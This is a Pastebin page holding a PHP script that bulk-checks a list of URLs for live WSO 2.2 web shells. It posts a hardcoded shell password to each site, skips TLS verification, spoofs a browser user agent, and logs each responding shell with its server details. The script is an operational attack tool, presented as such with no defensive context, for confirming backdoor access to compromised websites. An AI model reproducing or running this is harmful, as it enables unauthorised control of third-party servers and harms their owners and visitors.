Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $connections = 5;
- $postdata = array('pass' => 'sdasdas');
- $urls = file('urls.txt');
- error_reporting(E_ALL);
- ignore_user_abort(true);
- set_time_limit(0);
- if (!is_writable('connect_error.txt')) {exit('connect_error.txt - not writable!');}
- if (!is_writable('not_shell.txt')) {exit('not_shell.txt - not writable!');}
- if (!is_writable('results.txt')) {exit('results.txt - not writable!');}
- $links = array();
- foreach ($urls as $link)
- {
- $link = trim($link);
- if (empty($link)) { continue;}
- $links[] = $link;
- if (count($links)>=$connections) {multicurl($links);$links = array();}
- }
- if (count($links)>0) {multicurl($links);$links = array();}
- echo 'Completed!';
- function multicurl ($links)
- {
- $flows=count($links);
- for ($i = 0; $i < $flows; $i++) $ch[$i] = curl_init();
- for ($i = 0; $i < $flows; $i++)
- {
- curl_setopt($ch[$i], CURLOPT_URL,$links[$i]);
- curl_setopt($ch[$i], CURLOPT_TIMEOUT, 25);
- curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch[$i], CURLOPT_CURLOPT_POST, 1);
- curl_setopt($ch[$i], CURLOPT_POSTFIELDS, $postdata);
- curl_setopt($ch[$i], CURLOPT_HTTPHEADER, array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3","Connection: keep-alive"));
- curl_setopt($ch[$i], CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch[$i], CURLOPT_SSL_VERIFYHOST, false);
- curl_setopt($ch[$i], CURLOPT_ENCODING, 'gzip,deflate');
- }
- $mh = curl_multi_init();
- for ($i = 0; $i < $flows; $i++) curl_multi_add_handle($mh,$ch[$i]);
- $running=null;
- do
- {
- curl_multi_exec($mh,$running);
- usleep(3000);
- } while ($running > 0);
- for ($i2 = 0; $i2 < $flows; $i2++)
- {
- if (curl_error($ch[$i2]))
- {
- file_put_contents('connect_error.txt',"{$links[$i2]}\r\n",FILE_APPEND);
- echo "<b>Multi curl error:($i2):</b>".curl_error($ch[$i2])." <br>\r\n";
- }
- else
- {
- $r = curl_multi_getcontent($ch[$i2]);
- preg_match_os($r,$links[$i2]);
- }
- }
- for ($i = 0; $i < $flows; $i++)
- {
- curl_multi_remove_handle($mh, $ch[$i]);
- curl_close($ch[$i]);
- }
- curl_multi_close($mh);
- return ;
- }
- function preg_match_os($r,$url)
- {
- if (!preg_match('!WSO 2.2!',$r)) {file_put_contents('not_shell.txt',"$url\r\n",FILE_APPEND);return ;}
- if (!preg_match('!<nobr>(.*?)<!is',$r,$res)) {file_put_contents('not_shell.txt',"$url\r\n",FILE_APPEND);return ;}
- file_put_contents('results.txt',"{$res[1]}:::$url\r\n",FILE_APPEND);
- }
Add Comment
Please, Sign In to add comment